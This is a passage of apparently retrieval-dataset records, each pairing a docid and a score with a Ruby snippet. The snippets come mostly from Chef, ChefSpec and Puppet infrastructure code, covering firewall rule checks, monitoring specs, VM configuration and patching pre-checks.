"text": "def rule_exists?\n Chef::Log.info(\"#{new_resource.name} rule_exists?\")\n # To Action From\n # -- ------ ----\n # 22 ALLOW Anywhere\n # 192.168.0.1 25/tcp DENY 10.0.0.0/8\n # 22 ALLOW Anywhere\n # 3309 on eth9 ALLOW Anywhere\n # Anywhere ALLOW Anywhere\n # 80 ALLOW Anywhere (log)\n # 8080 DENY 192.168.1.0/24\n # 1.2.3.5 5469/udp ALLOW 1.2.3.4 5469/udp\n # 3308 ALLOW OUT Anywhere on eth8\n\n to = rule_exists_to? # col 1\n action = rule_exists_action? # col 2\n from = rule_exists_from? # col 3\n\n # full regex from columns\n regex = rule_exists_regex?(to, action, from)\n\n match = shell_out!('ufw', 'status').stdout.lines.find do |line|\n # TODO: support IPv6\n return false if line =~ /\\(v6\\)$/\n line =~ regex\n end\n\n match\n end",
"title": ""
},
{
"docid": "56a09817cdbdd4fc045c1ca2b889ae50",
"score": "0.5434194",
"text": "def create_db2_database(name)\n ChefSpec::Matchers::ResourceMatcher.new(:db2_database, :create, name)\nend",
"title": ""
},
{
"docid": "b91fbc07647b2073043303e0f55522f5",
"score": "0.53545564",
"text": "def check_from_resource\n spec = {}\n spec['check_hooks'] = new_resource.check_hooks if new_resource.check_hooks\n spec['command'] = new_resource.command\n spec['cron'] = new_resource.cron\n spec['metadata'] = {}\n spec['metadata']['name'] = new_resource.name\n spec['metadata']['namespace'] = new_resource.namespace\n spec['metadata']['labels'] = new_resource.labels if new_resource.labels\n spec['metadata']['annotations'] = new_resource.annotations if new_resource.annotations\n spec['handlers'] = new_resource.handlers\n spec['high_flap_threshold'] = new_resource.high_flap_threshold if new_resource.high_flap_threshold\n spec['interval'] = new_resource.interval if new_resource.interval\n spec['low_flap_threshold'] = new_resource.low_flap_threshold if new_resource.low_flap_threshold\n spec['proxy_entity_name'] = new_resource.proxy_entity_name if new_resource.proxy_entity_name\n spec['proxy_requests'] = new_resource.proxy_requests if new_resource.proxy_requests\n spec['publish'] = new_resource.publish if new_resource.publish\n spec['round_robin'] = new_resource.round_robin if new_resource.round_robin\n spec['runtime_assets'] = new_resource.runtime_assets if new_resource.runtime_assets\n spec['stdin'] = new_resource.stdin\n spec['subdue'] = new_resource.subdue if new_resource.subdue\n spec['subscriptions'] = new_resource.subscriptions\n spec['timeout'] = new_resource.timeout if new_resource.timeout\n spec['ttl'] = new_resource.ttl if new_resource.ttl\n spec['output_metric_format'] = new_resource.output_metric_format if new_resource.output_metric_format\n spec['output_metric_handlers'] = new_resource.output_metric_handlers if new_resource.output_metric_handlers\n\n c = {}\n c['type'] = type_from_name\n c['spec'] = spec\n c\n end",
"title": ""
},
{
"docid": "e21e4fae2d336d827743fa56df753f0c",
"score": "0.53489566",
"text": "def linux_validation_rules\n\n template_validation_rule { finish_linux_configuration }\n\n resource_validation_rule(Azure::ARM::Compute::VirtualMachine) do |vm|\n vm.configure do\n os_profile admin_username: parameter('username'),\n linux_configuration: {\n disable_password_authentication: true,\n ssh: { public_keys:\n { path: concat('/home/',parameters('username'),'/.ssh/authorized_keys'),\n key_data: parameter('ssh_key') }\n }\n }\n if vm.storage_profile.nil? or vm.storage_profile.image_reference.nil?\n image Azure::ARM::Compute::VirtualMachine::UBUNTU_LTS\n end\n end\n end\n\n resource_validation_rule(Azure::ARM::Compute::VirtualMachineScaleSet) do |vmss|\n\n vmss.configure do\n\n vmss.properties.virtual_machine_profile.configure do |profile|\n\n if profile.os_profile.nil?\n os_profile admin_username: parameter('username'),\n computer_name_prefix: vmss.name,\n linux_configuration: {\n disable_password_authentication: true,\n ssh: { public_keys:\n { path: concat('/home/',parameters('username'),'/.ssh/authorized_keys'),\n key_data: parameter('ssh_key') }\n }\n }\n end\n\n if profile.storage_profile.nil? or profile.storage_profile.image_reference.nil?\n\n storage_profile (vmss.template.virtual_machine_scale_set_storage_profile image_reference: Azure::ARM::Compute::VirtualMachine::UBUNTU_LTS)\n\n end\n\n end\n\n os_disk\n\n network_configuration\n\n end\n\n end\n\n end",
"title": ""
},
{
"docid": "572bb05856ad9a40b85fc07629c7b27b",
"score": "0.525808",
"text": "def when_rules\n @when_rules ||= []\n end",
"title": ""
},
{
"docid": "c5c30f10a45911c73087cdffdc830702",
"score": "0.5180575",
"text": "def rule_exists?\n # To Action From\n # -- ------ ----\n # 22 ALLOW Anywhere\n # 192.168.0.1 25/tcp DENY 10.0.0.0/8\n shell_out!(\"ufw status\").stdout =~ \n/^(#{@new_resource.destination}\\s)?#{port_and_proto}\\s.*(#{@new_resource.action.to_s})\\s.*#{@new_resource.source || 'Anywhere'}$/i\n end",
"title": ""
},
{
"docid": "98dc4a57892abea6b29130df4aeb61fa",
"score": "0.51701045",
"text": "def define_cases(condition, *args, &block)\n # The first line is a bit tricky; it needs to be in place so that\n # `let` methods can be evaluated.\n instance = new\n\n if defined?(superclass::LetDefinitions)\n instance.extend superclass::LetDefinitions\n end\n\n # `extracted` can contain a simple list of conditions, such as\n # [[1, 2, 3], [5, 8, 13]]. But in the case of a tabular format,\n # it will contain an instance of RSpec::Variants::Table. The\n # call to `to_conditions` is what breaks the table down if\n # necessary. The end result is that `condition_sets` should\n # contain an array of data conditions.\n\n extracted = instance.instance_eval(&condition.block)\n\n condition_sets = extracted.is_a?(Array) ? extracted : extracted.to_conditions\n\n # This next assignment is needed in case there is only one\n # data condition specified.\n\n condition_sets = condition_sets.map { |x| Array[x] } unless condition_sets[0].is_a?(Array)\n\n condition_sets.each do |condition_set|\n pairs = [condition.arg_names, condition_set].transpose.to_h\n\n pretty_params = pairs.map do |name, val|\n \"#{name}: #{conditions_inspect(val)}\"\n end.join(\", \")\n\n describe(pretty_params, *args) do\n pairs.each do |name, val|\n let(name) { val }\n end\n\n singleton_class.module_eval do\n define_method(:condition) do\n pairs\n end\n\n define_method(:all_conditions) do\n condition_sets\n end\n end\n\n module_eval(&block)\n end\n end\n end",
"title": ""
},
{
"docid": "26150f3217c45cae58f09b626577a531",
"score": "0.5140838",
"text": "def check_from_resource\n spec = {}\n spec['check_hooks'] = new_resource.check_hooks if new_resource.check_hooks\n spec['command'] = new_resource.command\n spec['cron'] = new_resource.cron\n spec['handlers'] = new_resource.handlers\n spec['high_flap_threshold'] = new_resource.high_flap_threshold if new_resource.high_flap_threshold\n spec['interval'] = new_resource.interval if new_resource.interval\n spec['low_flap_threshold'] = new_resource.low_flap_threshold if new_resource.low_flap_threshold\n spec['proxy_entity_name'] = new_resource.proxy_entity_name if new_resource.proxy_entity_name\n spec['proxy_requests'] = new_resource.proxy_requests if new_resource.proxy_requests\n spec['publish'] = new_resource.publish if new_resource.publish\n spec['round_robin'] = new_resource.round_robin if new_resource.round_robin\n spec['runtime_assets'] = new_resource.runtime_assets if new_resource.runtime_assets\n spec['secrets'] = new_resource.secrets if new_resource.secrets\n spec['stdin'] = new_resource.stdin\n spec['subdue'] = new_resource.subdue if new_resource.subdue\n spec['subscriptions'] = new_resource.subscriptions\n spec['timeout'] = new_resource.timeout if new_resource.timeout\n spec['ttl'] = new_resource.ttl if new_resource.ttl\n spec['output_metric_format'] = new_resource.output_metric_format if new_resource.output_metric_format\n spec['output_metric_handlers'] = new_resource.output_metric_handlers if new_resource.output_metric_handlers\n\n c = base_resource(new_resource, spec)\n c['metadata']['namespace'] = new_resource.namespace\n c\n end",
"title": ""
},
{
"docid": "2a71a68c6e0d722c39ac1faaf106195f",
"score": "0.5066066",
"text": "def check_recipes\n if new_resource.web_server == 'apache'\n web_server_recipe = \"apache2::default\"\n else\n web_server_recipe = \"#{new_resource.web_server}::default\"\n end\n\n unless run_context.loaded_recipes.include?(web_server_recipe)\n Chef::Application.fatal!(\"Did not include the #{web_server_recipe} recipe\")\n end\n end",
"title": ""
},
{
"docid": "6638729dd0048ad28414e79b810efb0d",
"score": "0.5033839",
"text": "def meet_conditions?\n return true if params[:if].nil? || params[:if].empty?\n title_condition = params[:if][:title].nil? ? \"\" : params[:if][:title]\n body_condition = params[:if][:body].nil? ? \"\" : params[:if][:body]\n value_condition = params[:if][:value_exists].nil? ? \"\" : params[:if][:value_exists]\n role_assigned_condition = params[:if][:role_assigned].nil? ? \"\" : params[:if][:role_assigned]\n value_matches_condition = params[:if][:value_matches].nil? ? {} : params[:if][:value_matches]\n rejection_response = params[:if][:reject_msg].nil? ? \"\" : params[:if][:reject_msg]\n\n unless title_condition.empty? || Regexp.new(title_condition).match?(@context.issue_title)\n respond(rejection_response) unless rejection_response.empty?\n return false\n end\n\n unless body_condition.empty? || Regexp.new(body_condition).match?(@context.issue_body)\n respond(rejection_response) unless rejection_response.empty?\n return false\n end\n\n unless value_condition.empty? || !read_value_from_body(value_condition).empty?\n respond(rejection_response) unless rejection_response.empty?\n return false\n end\n\n unless role_assigned_condition.empty? || username?(read_value_from_body(role_assigned_condition))\n respond(rejection_response) unless rejection_response.empty?\n return false\n end\n\n if value_matches_condition.is_a?(Hash)\n value_matches_condition.each_pair do |k, v|\n unless Regexp.new(v.to_s.strip).match?(read_value_from_body(k))\n respond(rejection_response) unless rejection_response.empty?\n return false\n end\n end\n else\n raise \"Configuration Error in #{self.class.name}: value_matches should be a hash of [field_name:expected_value] pairs\"\n end\n\n return true\n end",
"title": ""
},
{
"docid": "fd344a39ceb5c4601a8fb4550a087da3",
"score": "0.5026729",
"text": "def prereqs\n response = getRequest(\"/hosts/#{new_resource.host}\")\n haveHost = response.code.to_i.between?(200,299)\n unless haveHost\n Chef::Log::info \"Can't execute on this resource until host #{new_resource.host} is available\"\n return false\n end\n\n haveService = getRequest(\"/clusters/#{new_resource.cluster}/services/#{new_resource.service}\").code.to_i.between?(200,299)\n unless haveService\n Chef::Log::info \"Can't execute on this resource until service #{new_resource.service} is available\"\n return false\n end \n \n return true\nend",
"title": ""
},
{
"docid": "1dfd5d70dc824a4334df3bf4c7c296b7",
"score": "0.4976975",
"text": "def wh what = '', &block\n context \"when #{what}\", &block\n end",
"title": ""
},
{
"docid": "8537242ffd3197db01c125be3d270fc4",
"score": "0.49678096",
"text": "def run_lamp_chef_checks\n # check that the standard unified app is responding on port 80\n run_unified_application_checks(@servers, 80)\n \n=begin \n # check that running the mysql backup script succeeds\n @servers.first.spot_check_command(\"/etc/cron.daily/mysql-dump-backup.sh\")\n \n # exercise operational RightScript(s)\n run_script(\"backup\", @servers.first)\n run_script(\"restart_apache\", @servers.first)\n \n # check that mysql tmpdir is custom setup on all servers\n query = \"show variables like 'tmpdir'\"\n query_command = \"echo -e \\\"#{query}\\\"| mysql\"\n @servers.each do |server|\n server.spot_check(query_command) { |result| raise \"Failure: tmpdir was unset#{result}\" unless result.include?(\"/mnt/mysqltmp\") }\n end\n \n # check that logrotate has mysqlslow in it\n @servers.each do |server|\n res = server.spot_check_command(\"logrotate --force -v /etc/logrotate.d/mysql-server\")\n raise \"LOGROTATE FAILURE, exited with non-zero status\" if res[:status] != 0\n raise \"DID NOT FIND mysqlslow.log in the log rotation!\" if res[:output] !~ /mysqlslow/\n end\n=end\n \n end",
"title": ""
},
{
"docid": "b7ab57d7bc3249e0507316a2c6e93cb8",
"score": "0.49517235",
"text": "def monit_check_config\n {\n :name => new_resource.name, :check_type => new_resource.check_type,\n :check_id => new_resource.check_id, :id_type => new_resource.id_type,\n :group => new_resource.group, :start_as => new_resource.start_as,\n :start_as_group => new_resource.start_as_group,\n :start => new_resource.start, :stop => new_resource.stop,\n :stop_as => new_resource.stop_as,\n :stop_as_group => new_resource.stop_as_group,\n :every => new_resource.every, :tests => new_resource.tests,\n :alert => new_resource.alert, :but_not_on => new_resource.but_not_on,\n :alert_events => new_resource.alert_events\n }\n end",
"title": ""
},
{
"docid": "0fa10c2095cea2bcb76cbcae19cf144d",
"score": "0.49466804",
"text": "def apply2(pp)\n it 'works with no error' do\n apply_manifest(pp, catch_failures: true)\n end\n it 'gets custom fact on first run' do\n on(hosts, 'facter --json jenkins_plugins')\n end\n it 'works idempotently' do\n apply_manifest(pp, catch_changes: true)\n end\n it 'gets custom fact on second run' do\n on(hosts, 'facter --json jenkins_plugins')\n end\nend",
"title": ""
},
{
"docid": "4682f25ac3354afb2ed1ccf422c6a42d",
"score": "0.4919458",
"text": "def require_then?(when_node); end",
"title": ""
},
{
"docid": "236bf3ddb2b7021289517a49dadb0ec4",
"score": "0.4918539",
"text": "def enable_runit_service(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new(:runit_service, :enable, resource_name)\n end",
"title": ""
},
{
"docid": "8e0b3d0635e070a45a26ea931274ff8f",
"score": "0.4897668",
"text": "def install_firewall(resource)\n ChefSpec::Matchers::ResourceMatcher.new(:firewall, :install, resource)\n end",
"title": ""
},
{
"docid": "c2091488447aa337754e41bc68e2d1d0",
"score": "0.48711523",
"text": "def acceptable_when(block)\n @acceptable_when = block\n end",
"title": ""
},
{
"docid": "e52dea669ab616f4b460b1d5fa4b537b",
"score": "0.4869074",
"text": "def ProbeRules\n return if @ATTR.size>0\n # SMBIOS Data\n bios = Convert.to_list(SCR.Read(path(\".probe.bios\")))\n\n if Builtins.size(bios) != 1\n Builtins.y2warning(\"Warning: BIOS list size is %1\", Builtins.size(bios))\n end\n\n biosinfo = Ops.get_map(bios, 0, {})\n smbios = Ops.get_list(biosinfo, \"smbios\", [])\n\n sysinfo = {}\n boardinfo = {}\n\n Builtins.foreach(smbios) do |inf|\n if Ops.get_string(inf, \"type\", \"\") == \"sysinfo\"\n sysinfo = deep_copy(inf)\n elsif Ops.get_string(inf, \"type\", \"\") == \"boardinfo\"\n boardinfo = deep_copy(inf)\n end\n end\n\n if Ops.greater_than(Builtins.size(sysinfo), 0)\n @product = Ops.get_string(sysinfo, \"product\", \"default\")\n @product_vendor = Ops.get_string(sysinfo, \"manufacturer\", \"default\")\n end\n\n if Ops.greater_than(Builtins.size(boardinfo), 0)\n @board = Ops.get_string(boardinfo, \"product\", \"default\")\n @board_vendor = Ops.get_string(boardinfo, \"manufacturer\", \"default\")\n end\n\n Ops.set(@ATTR, \"product\", @product)\n Ops.set(@ATTR, \"product_vendor\", @product_vendor)\n Ops.set(@ATTR, \"board\", @board)\n Ops.set(@ATTR, \"board_vendor\", @board_vendor)\n\n #\n # Architecture\n #\n\n @arch = Arch.architecture\n @karch = Ops.get(Kernel.GetPackages, 0, \"kernel-default\")\n\n Ops.set(@ATTR, \"arch\", @arch)\n Ops.set(@ATTR, \"karch\", @karch)\n\n #\n # Memory\n #\n\n memory = 0\n memories = Convert.to_list(SCR.Read(path(\".probe.memory\")))\n memory = Ops.get_integer(\n memories,\n [0, \"resource\", \"phys_mem\", 0, \"range\"],\n 0\n )\n @memsize = Ops.divide(memory, 1024 * 1024)\n Ops.set(@ATTR, \"memsize\", @memsize)\n\n #\n # Disk sizes\n #\n\n storage = Storage.GetTargetMap\n _PhysicalTargetMap = Builtins.filter(storage) do |k, v|\n Storage.IsRealDisk(v)\n end\n @totaldisk = 0\n @disksize = Builtins.maplist(_PhysicalTargetMap) do |k, v|\n size_in_mb = Ops.divide(Ops.get_integer(v, \"size_k\", 0), 1024)\n @totaldisk = Ops.add(@totaldisk, size_in_mb)\n { \"device\" => k, \"size\" => size_in_mb }\n end\n Builtins.y2debug(\"disksize: %1\", @disksize)\n #\n # MAC\n #\n Ops.set(@ATTR, \"mac\", @mac)\n\n #\n # Network\n #\n if Stage.initial\n @hostaddress = Convert.to_string(SCR.Read(path(\".etc.install_inf.IP\")))\n else\n @hostaddress = \"192.168.1.1\" # FIXME\n end\n Ops.set(@ATTR, \"hostaddress\", @hostaddress)\n\n #\n # Hostid (i.e. a8c00101);\n #\n Ops.set(@ATTR, \"hostid\", @hostid)\n\n Ops.set(@ATTR, \"hostname\", getHostname)\n @domain = Convert.to_string(SCR.Read(path(\".etc.install_inf.Domain\")))\n Ops.set(@ATTR, \"domain\", @domain)\n @network = Convert.to_string(SCR.Read(path(\".etc.install_inf.Network\")))\n Ops.set(@ATTR, \"network\", @network)\n @haspcmcia = Convert.to_string(\n SCR.Read(path(\".etc.install_inf.HasPCMCIA\"))\n )\n Ops.set(@ATTR, \"haspcmcia\", @haspcmcia)\n @xserver = Convert.to_string(SCR.Read(path(\".etc.install_inf.XServer\")))\n Ops.set(@ATTR, \"xserver\", @xserver)\n\n @NonLinuxPartitions = Storage.GetForeignPrimary\n @others = Builtins.size(@NonLinuxPartitions)\n\n Builtins.y2milestone(\"Other primaries: %1\", @NonLinuxPartitions)\n\n @LinuxPartitions = Storage.GetOtherLinuxPartitions\n @linux = Builtins.size(@LinuxPartitions)\n\n Builtins.y2milestone(\"Other linux parts: %1\", @LinuxPartitions)\n\n @installed_product = Product.name\n @installed_product_version = Product.version\n Ops.set(@ATTR, \"installed_product\", @installed_product)\n Ops.set(@ATTR, \"installed_product_version\", @installed_product_version)\n\n Builtins.y2milestone(\n \"Installing %1 %2\",\n @installed_product,\n @installed_product_version\n )\n Builtins.y2milestone(\"ATTR=%1\", @ATTR)\n\n nil\n end",
"title": ""
},
{
"docid": "e9b4437a470777e9fb9938d0c7b91bab",
"score": "0.4839933",
"text": "def expected_logical_resource_ids(desired_test_result, resource_type)\n raise 'desired_test_result value must be either \"pass\" or \"fail\"' unless\n %w[pass fail].include?(desired_test_result)\n\n if desired_test_result == 'fail'\n [resource_type.sub('AWS::', '').gsub('::', '')]\n else\n []\n end\nend",
"title": ""
},
{
"docid": "b4d20c8db6c46c5089cadd9ecf356e70",
"score": "0.48331016",
"text": "def do_calc_action_if\n # A quick return if this is not a hash or it is empty\n return true unless action_conf.is_a?(Hash) && action_conf.first\n\n # Final result for all selections\n final_res = true\n\n self.action_conf = action_conf.symbolize_keys\n\n # Simple conditions to always return\n # never: true\n # always: true\n return false if action_conf[:never]\n return true if action_conf[:always]\n\n # calculate that all the following sets of conditions are true:\n # (:all conditions) AND (:not_all conditions) AND (:any conditions) AND (:not_any conditions)\n #\n # selection_type=all|any|not_all|not_any:\n # table_name:\n # condition: string|reference_condition\n # selection_type:\n # table_name: ...\n\n action_conf.each do |condition_type, condition_config_array|\n # If the condition definition is not an array, make it one\n condition_config_array = [condition_config_array] unless condition_config_array.is_a? Array\n\n # Provide the option of configuring as a list of conditions, such as:\n # not_any:\n # - addresses: ...\n # - addresses: ...\n #\n # ...or...\n #\n # not_any:\n # addresses: ...\n # player_contacts: ....\n #\n # all of which must meet the condition type\n #\n # Nesting is allowed, which is handled appropriately\n\n # Save the original key, representing the condition type, such as :not_all_fields_must_match\n orig_cond_type = condition_type\n\n # If the condition_type key is not a selection type, use the original condition_type\n # value since it represents a table name or other reference item\n condition_type = is_selection_type(condition_type) || condition_type\n\n # Initialize the loop result, as true for all, not_any, since they AND results,\n # not_all and any OR results, so must be initialized to false\n loop_res = condition_type.in?(%i[all not_any])\n orig_loop_res = loop_res\n\n # For each condition config definition, run the main tests\n condition_config_array.each do |condition_config|\n @condition_config = condition_config\n\n # Check if the first key is a selection type. If it is, wrap it in a\n # {this: original hash} to make it easier to process consistently\n @condition_config = { this: @condition_config } if is_selection_type(@condition_config.first.first)\n\n # Calculate the base query and conditions to use later\n calc_base_query condition_type\n\n #### :all ####\n if condition_type == :all\n cond_res = true\n res_q = true\n # equivalent of (cond1 AND cond2 AND cond3 ...)\n # These conditions are easy to handle as a standard query\n # @this_val_where check allows a return_value definition to be used alone without other conditions\n unless @condition_values.empty? && @extra_conditions.empty? && !@this_val_where\n gen_condition_scope @condition_values, @extra_conditions\n calc_return_types\n res_q = calc_nested_query_conditions\n merge_failures(condition_type => @condition_config) unless res_q\n end\n\n @non_query_conditions.each do |table, fields|\n fields.each do |field_name, expected_val|\n res_q &&= calc_non_query_condition(table, field_name, expected_val)\n merge_failures(condition_type => { table => { field_name => expected_val } }) unless res_q\n end\n end\n\n cond_res &&= !!res_q\n loop_res &&= cond_res\n\n #### :not_all ####\n elsif condition_type == :not_all\n cond_res = true\n res_q = true\n # equivalent of NOT(cond1 AND cond2 AND cond3 ...)\n unless @condition_values.empty? && @extra_conditions.empty?\n gen_condition_scope @condition_values, @extra_conditions\n calc_return_types\n res_q = calc_nested_query_conditions\n end\n\n @non_query_conditions.each do |table, fields|\n fields.each do |field_name, expected_val|\n res_q &&= calc_non_query_condition(table, field_name, expected_val)\n end\n end\n\n cond_res &&= !res_q\n\n # Not all matches - return all possible items that failed\n merge_failures(condition_type => @condition_values) unless cond_res\n merge_failures(condition_type => @non_query_conditions) unless cond_res\n\n loop_res ||= cond_res\n\n #### :any ####\n elsif condition_type == :any\n\n unless @extra_conditions.empty?\n raise FphsException, '@extra_conditions not supported with any / not_any conditions'\n end\n\n cond_res = false\n res_q = false\n # equivalent of (cond1 OR cond2 OR cond3 ...)\n\n if @condition_values.empty?\n # Reset the previous condition_scope, since it could be carrying unwanted joins from an all, not_any condition\n @condition_scope = nil\n reset_scope = nil\n else\n\n @condition_values.each do |table, fields|\n fields.each do |field_name, expected_val|\n gen_condition_scope({ table => { field_name => expected_val } }, @extra_conditions, 'OR')\n calc_return_types\n res_q = !@condition_scope.empty?\n\n break if res_q\n end\n break if res_q\n end\n\n reset_scope = @base_query.order(id: :desc).limit(1)\n end\n\n # Reset the condition scope, since gen_condition_scope will have messed with it\n @condition_scope = reset_scope\n res_q ||= calc_nested_query_conditions return_first_false: false unless res_q || @condition_scope.nil?\n\n # If no matches - return all possible items that failed\n merge_failures(condition_type => @condition_values) unless res_q\n\n unless res_q\n @non_query_conditions.each do |table, fields|\n fields.each do |field_name, expected_val|\n res_q ||= calc_non_query_condition(table, field_name, expected_val)\n break if res_q\n end\n end\n end\n\n merge_failures(condition_type => @non_query_conditions) unless res_q\n\n cond_res = res_q\n loop_res ||= cond_res\n\n #### :not_any ####\n elsif condition_type == :not_any\n\n unless @extra_conditions.empty?\n raise FphsException, '@extra_conditions not supported with any / not_any conditions'\n end\n\n cond_res = true\n # equivalent of NOT(cond1 OR cond2 OR cond3 ...)\n # also equivalent to (NOT(cond1) AND NOT(cond2) AND NOT(cond3))\n\n if @condition_values.empty?\n # Reset the previous condition_scope, since it could be carrying unwanted joins from an all, not_any condition\n @condition_scope = nil\n reset_scope = nil\n else\n\n @condition_values.each do |table, fields|\n fields.each do |field_name, expected_val|\n gen_condition_scope({ table => { field_name => expected_val } }, @extra_conditions, 'OR')\n calc_return_types\n res_q = !@condition_scope.empty?\n merge_failures(condition_type => { table => { field_name => expected_val } }) if res_q\n cond_res &&= !res_q\n break unless cond_res && !return_failures\n end\n break unless cond_res && !return_failures\n end\n\n reset_scope = @base_query.order(id: :desc).limit(1)\n end\n\n # Reset the condition scope, since gen_condition_scope will have messed with it\n @condition_scope = reset_scope\n if cond_res && !@condition_scope.nil?\n res_q = calc_nested_query_conditions return_first_false: false\n cond_res &&= !res_q\n end\n\n @non_query_conditions.each do |table, fields|\n fields.each do |field_name, expected_val|\n res_q = !calc_non_query_condition(table, field_name, expected_val)\n merge_failures(condition_type => { table => { field_name => expected_val } }) unless res_q\n cond_res &&= res_q\n end\n end\n\n loop_res &&= cond_res\n else\n raise FphsException, \"Incorrect condition type specified when calculating action if: #{condition_type}\"\n end\n\n log_results orig_cond_type, condition_type, loop_res, cond_res, orig_loop_res\n\n # We can end the loop, unless the last result was a success\n break unless loop_res\n end\n\n final_res &&= loop_res\n break unless final_res\n end\n\n # Return the final result\n !!final_res\n end",
"title": ""
},
{
"docid": "37152eee42055a58f93c9d13bb485d9b",
"score": "0.48316503",
"text": "def setup_behavior(config, req='req')\n app_condition = lambda do |app|\n if_app(app, req)\n end\n if_else([:dashboard, :pegasus], app_condition) do |app|\n app_config = config[app]\n configs = app_config[:behaviors] + [app_config[:default]]\n path_condition = lambda do |behavior|\n behavior[:path] ? paths_to_regex(behavior[:path], req) : nil\n end\n if_else(configs, path_condition) do |behavior|\n yield behavior, app\n end\n end\nend",
"title": ""
},
{
"docid": "89c4036defe6d3e21b71bf176c1a6a7b",
"score": "0.48220032",
"text": "def boolean_rule_test_sets\n {\n 'not set': 'fail',\n 'set': 'pass'\n }\nend",
"title": ""
},
{
"docid": "032caf0086bc79c50a99cc48b3b3bd75",
"score": "0.4820717",
"text": "def add_remove_resource # mark not use\n if @chef_resource.resource_type == \"Repository\" # repo not check chef_resource_id because install from repo will have one or more program\n value = @chef_resource.chef_properties.where(:value_type => \"program_name\").pluck(:value).first\n remove_resource = RemoveResource.new(program_id: @program.id, chef_resource_id: @chef_resource.id, resource_type: @chef_resource.resource_type, value: value, value_type: \"program\")\n remove_resource.save\n else\n if !@program.remove_resources.find_by(chef_resource_id: @chef_resource.id).present? # check Is chef_resource_id alredy in remove_resources\n value = nil\n value_type = nil\n case @chef_resource.resource_type\n when \"Deb\"\n value = @chef_resource.chef_properties.where(:value_type => \"program_name\").pluck(:value).first\n value_type = \"program\"\n when \"Source\"\n value = @chef_resource.chef_properties.where(:value_type => \"source_file\").pluck(:value).first\n value_type = \"program\"\n when \"Download\"\n value = @chef_resource.chef_properties.where(:value_type => \"source_file\").pluck(:value).first\n value_type = \"file\"\n when \"Extract\"\n value = @chef_resource.chef_properties.where(:value_type => \"extract_to\").pluck(:value).first\n value_type = \"folder\"\n when \"Config_file\"\n delete_chef_attributes\n value = @chef_resource.chef_properties.where(:value_type => \"config_file\").pluck(:value).first\n #delete_config_file_in_templates(value)\n value_type = \"file\"\n when \"Copy_file\"\n value = @chef_resource.chef_properties.where(:value_type => \"destination_file\").pluck(:value).first\n value_type = @chef_resource.chef_properties.where(:value_type => \"copy_type\").pluck(:value).first\n when \"Create_file\"\n delete_chef_attributes\n value = @chef_resource.chef_properties.where(:value_type => \"created_file\").pluck(:value).first\n #delete_file_in_templates(value)\n value_type = \"file\"\n when \"Move_file\"\n move_type = @chef_resource.chef_properties.where(:value_type => \"move_type\").pluck(:value).first\n value = @chef_resource.chef_properties.where(:value_type => \"destination_file\").pluck(:value).first\n value_type = move_type\n when \"Bash_script\" # เพื่อลบไฟล์ใน instance (/tmp/xxx กับ /var/lib/tomcat7/webapps/ROOT/bash_script/xxx) และลบไฟล์ใน template ของ cookbook program\n value = @chef_resource.id.to_s\n value_type = \"file\"\n delete_chef_attributes\n when \"Execute_command\"\n value = @chef_resource.chef_properties.where(:value_type => \"execute_command\").pluck(:value).first\n value_type = \"command\"\n end\n remove_resource = RemoveResource.new(program_id: @program.id, chef_resource_id: @chef_resource.id, resource_type: @chef_resource.resource_type, value: value, value_type: value_type)\n remove_resource.save\n end\n end\n end",
"title": ""
},
{
"docid": "72831d5c78e11c4ecd51924876b6bf1d",
"score": "0.48064023",
"text": "def wait_condition(name, &block)\n resource = WaitCondition.new\n resource.evaluate &block\n\n if resource.handle.nil?\n handle_name = \"#{name}Handle\"\n\n if not resources.include? handle_name\n wait_condition_handle handle_name\n end\n\n resource.handle = handle_name\n end\n\n add_resource(name, resource)\n end",
"title": ""
},
{
"docid": "fcaf7ffe31a933e5cedb860d8825706b",
"score": "0.47995424",
"text": "def init\n file = Google::StringUtils.underscore(@resource_name || @name)\n\n @recipes = setup_hash(@recipes)\n @recipes['create'] = \"tests~#{file}\" unless @recipes['create']\n @recipes['delete'] = \"tests~delete_#{file}\" unless @recipes['delete']\n\n @resources = setup_hash(@resource_count)\n @resources['create'] = DEFAULT_RESOURCE_COUNT unless @resources['create']\n @resources['delete'] = DEFAULT_RESOURCE_COUNT unless @resources['delete']\n\n @affected = setup_hash(@affected_count)\n unless @affected['create']\n @affected['create'] =\n DEFAULT_RESOURCE_COUNT - 1\n end\n\n return if @affected['delete']\n @affected['delete'] = DEFAULT_RESOURCE_COUNT - 1\n end",
"title": ""
},
{
"docid": "714bd4b0b22b3f1ef31e97d7a4110d24",
"score": "0.4789478",
"text": "def modify_env(resource_name)\n ChefSpec::Matchers::ResourceMatcher.new(:env, :modify, resource_name)\n end",
"title": ""
},
{
"docid": "4e7ee9db09410f4462ecd52d1c8479be",
"score": "0.47638106",
"text": "def pre_run_check\n # Check for pending reboots\n pending_reboot = false\n kernel = parameter(:os).value.downcase\n case kernel\n when 'windows'\n sysroot = ENV['SystemRoot']\n powershell = \"#{sysroot}\\\\system32\\\\WindowsPowerShell\\\\v1.0\\\\powershell.exe\"\n # get the script path relative to the Puppet Type\n checker_script = File.join(\n __dir__,\n '..',\n '..',\n 'patching_as_code',\n 'pending_reboot.ps1',\n )\n pending_reboot = Puppet::Util::Execution.execute(\"#{powershell} -ExecutionPolicy Unrestricted -File #{checker_script}\", { failonfail: false }).exitstatus.to_i.zero?\n when 'linux'\n # get the script path relative to the Puppet Type\n checker_script = File.join(\n __dir__,\n '..',\n '..',\n 'patching_as_code',\n 'pending_reboot.sh',\n )\n pending_reboot = Puppet::Util::Execution.execute(\"/bin/sh #{checker_script}\", { failonfail: false }).exitstatus.to_i.zero?\n else\n raise Puppet::Error, \"Patching as Code - Unsupported Operating System type: #{kernel}\"\n end\n return unless pending_reboot\n\n Puppet.send('notice', 'Patching as Code - Pending OS reboot detected, node will reboot at start of patch window today')\n ## Reorganize dependencies for pre-patch, post-patch and pre-reboot exec resources:\n pre_patch_resources = []\n post_patch_resources = []\n pre_reboot_resources = []\n catalog.resources.each do |res|\n next unless res.type.to_s == 'exec'\n next unless res['tag'].is_a? Array\n next unless (res['tag'] & ['patching_as_code_pre_patching', 'patching_as_code_post_patching', 'patching_as_code_pre_reboot']).any?\n\n if res['tag'].include?('patching_as_code_pre_patching')\n pre_patch_resources << res\n elsif res['tag'].include?('patching_as_code_post_patching')\n post_patch_resources << res\n elsif res['tag'].include?('patching_as_code_pre_reboot')\n pre_reboot_resources << res\n end\n end\n ## pre-patch resources should gain Reboot[Patching as Code - Pending OS reboot] for require\n pre_patch_resources.each do |res|\n catalog.resource(res.to_s)['require'] = Array(catalog.resource(res.to_s)['require']) << 'Reboot[Patching as Code - Pending OS reboot]'\n end\n ## 